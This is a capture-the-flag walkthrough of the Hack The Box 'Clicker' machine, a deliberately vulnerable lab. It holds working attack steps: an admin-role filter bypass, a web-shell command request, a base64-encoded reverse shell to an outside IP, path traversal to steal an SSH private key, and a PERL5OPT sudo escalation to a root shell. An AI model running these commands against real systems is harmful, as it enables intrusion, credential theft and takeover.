Post

HTB Clicker Write up

HackThaBox Clicker machine write up.

Medium diffuculty box focusing on NFS shares and CRLF.

Enumeration

1
nmap -Pn -T4 -sVC 10.10.11.232

Alt text

After the Nmap report, I found that there was an NFS & mount file sharing enabled. I checked what mounts is available on the server using shoumount command.

1
showmount -e 10.10.11.232

Alt text

So I mounted it by:

1.Creating a new directory locally in /tmp directory.

1
mkdir /tmp/nfs_shares

2.Mount the share using mount command.

1
mount -t nfs 10.10.11.232:/mnt/backups /tmp/nfs_shares -o nolock

Alt text

Found a zip file.

Copied it to my local mahine.

1
cp  <zip file> /<path>/<to>/<local>/<dir>

Unzip

1
unzip clicker.htb_backup.zip

After unziping it, it looks like it is backup for the source code of the web server running on port 80.

I added the machine IP to my /etc/hosts file.

1
sudo nano /etc/hosts

Alt text

Alt text

Going around the website, it looks like I can creatre an acount to play.

There were also a couple of pages:

  • info.php

    Some users reviews. (Maybe real users)

    Alt text

  • login.php
  • register.php

Bedore I create a new account I tried to make an account with one of the players names I found in info.php page to check if they really exists.

Alt text

Creating a new acount test : test.

Alt text

After logging in, new pages appeared.

Alt text

A cliking game!

I played a litle bit for fun…!

Then saved the game.

Alt text

Alt text

Then I cheked my profile page.

Alt text

Apperantly my data is stored somewhere maybe a database.

Then I decided to look at the source code and see if there was anything useful.

After going through the source code files, i found that all functionalities are linked to functions stored in db_utils.php file, I went through the steps I took earlier making an account, playing and saving the game to see how things are really going on.

The first thing to note in db_utils.php is the DB username, password and DB name.

Alt text

When registering new account the form sends the data to create_player.php page, after it checks that all fields are not empty and the account does not already exists, it then calls create_new_player function from db_utils.php, the function will do an sql insert query for the new user in the players table.

Create_player page

create_new_player Function

Now we know that we have a table in the database called players with username, nickname, password, role, clicks, level columns, a new user is assigned the role User, 0 clicks and level 0.

Worth noticing that the passwrod is stored using SHA256 hash format.

Login.php form send the data to authenticate.php page. authenticate.php checks that the username and password is not empty then calls check_auth function from db_utils.php, the function will check if the user exists in the database and if the password hashes match. If user credintials is correct the function will return true to authenticate.php and authenticate.php will add the user data to the session variables to be used in futher interactions with the server. (load_profile function will fetch all user data form DB.)

authenticate.php

check_auth Function

When saving a game the game data is sent to sava_game.php page, the page will first check if one of the GET parameters is equal to role to detect if the user is trying to modify his role, then it calls save_profile function from db_utils.php, the function takes the GET request variables and prepare them to update the user info in the database.

save_game.php

save_profile function

So if I can bypass the filter then I can update my role in the data base, and the sql query will look like:

1
UPDATE players SET clicks=5,level=1,role='Admin' WHERE username = 'test'

Note that the webserver is handiling sql injection using prepared statments, so we can exexlude sqli from our possibilties.

Foothold

Intersepting the save game request using Burpsuite.

This is how normal request and response looks like.

Alt text

If I try to modify the role directly the server will detect it and return ‘Malicious activity detected!’

Alt text

Sucsessfully bypassed the filter.

https://owasp.org/www-community/vulnerabilities/CRLF_Injection

https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

Alt text The role has changed in the database only. Now I need to log out and login to update my role because the session variable ROLE wont get updated unless I log in again.

After logging in, a new page called Administator appeared (admin.php).

Alt text

Now after I can access admin.php I can see the top users nicknames, clicks, and levels. Which are retrived from the database.

These values can be exported as .txt, .json or .html file.

Alt text

Alt text

Alt text

Alt text

Alt text

http://clicker.htb/exports/top_players_4poexjad.php?cmd=id

Alt text

Alt text

Alt text

1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjY5LzQ0NDQgMD4mMQo= | base64 -d | bash
1
http://clicker.htb/exports/top_players_4poexjad.php?cmd=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjY5LzQ0NDQgMD4mMQo= | base64 -d | bash

Alt text

Stablize the shell

1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg

Privilege Escalation

www-data to jack

1
cat /etc/passwd | grep sh$

Alt text

Alt text

Alt text S SUID

Alt text

README

Alt text

Alt text

Check strings from the executable.

Use online decompiler to tk inderstand how the executable works

    int __fastcall main(int argc, const char **argv, const char **envp)
    {
    int result; // eax
    size_t v4; // rbx
    size_t v5; // rax
    size_t v6; // rbx
    size_t v7; // rax
    int v8; // [rsp+10h] [rbp-B0h]
    char *dest; // [rsp+18h] [rbp-A8h]
    char *name; // [rsp+20h] [rbp-A0h]
    char *command; // [rsp+28h] [rbp-98h]
    char s[32]; // [rsp+30h] [rbp-90h] BYREF
    char src[88]; // [rsp+50h] [rbp-70h] BYREF
    unsigned __int64 v14; // [rsp+A8h] [rbp-18h]

    v14 = __readfsqword(0x28u);
    if ( argc > 1 )
    {
        v8 = atoi(argv[1]);
        dest = (char *)calloc(0x14uLL, 1uLL);
        switch ( v8 )
        {
        case 0:
            puts("ERROR: Invalid arguments");
            return 2;
        case 1:
            strncpy(dest, "create.sql", 0x14uLL);
            goto LABEL_10;
        case 2:
            strncpy(dest, "populate.sql", 0x14uLL);
            goto LABEL_10;
        case 3:
            strncpy(dest, "reset_password.sql", 0x14uLL);
            goto LABEL_10;
        case 4:
            strncpy(dest, "clean.sql", 0x14uLL);
            goto LABEL_10;
        default:
            strncpy(dest, argv[2], 0x14uLL);
    LABEL_10:
            strcpy(s, "/home/jack/queries/");
            v4 = strlen(s);
            v5 = strlen(dest);
            name = (char *)calloc(v4 + v5 + 1, 1uLL);
            strcat(name, s);
            strcat(name, dest);
            setreuid(0x3E8u, 0x3E8u);
            if ( access(name, 4) )
            {
            puts("File not readable or not found");
            }
            else
            {
            strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
            v6 = strlen(src);
            v7 = strlen(dest);
            command = (char *)calloc(v6 + v7 + 1, 1uLL);
            strcat(command, src);
            strcat(command, name);
            system(command);
            }
            result = 0;
            break;
        }
    }
    else
    {
        puts("ERROR: not enough arguments");
        return 1;
    }
    return result;
    }

So there is a switch with 5 cases and a default case, a case if the user did not provide any arguments when running the executable, a case if the argumants was equal to 1,…

Based on my input it will set what sql file to use to make changes on the database and then it concats the file name to the full path to then use it with mysql command.

The ineresting part is the default case of the switch which will take the second argument specified in the command as the file to execute.

So I can provide any file on the system any read it.

1
./execute_query 5 ../.ssh/id_rsa

Alt text

It has to be in the right format. Copied to my local machine, using text editor to correct the format, I used my own private key to compare it with the right format. Alt text

1
2
-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----

The first and the last line should be changed.

Now I can use the key to login as jack.

1
2
chmod 600 id_rsa
ssh [email protected] -i id_rsa

Alt text

Read user.txt

Alt text

jack to root

Alt text

Alt text

Alt text

There is a vulnerability called “perl_startup” . This enable’s me to execute scripts with root privileges, as I had the ability to configure the environment while running Perl.

CVE-2016-1531

To get root shell is easy by running chmod u+s /bin/bash and after this running “ bash -p “

1
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
1
bash -p

Alt text

This post is licensed under CC BY 4.0 by the author.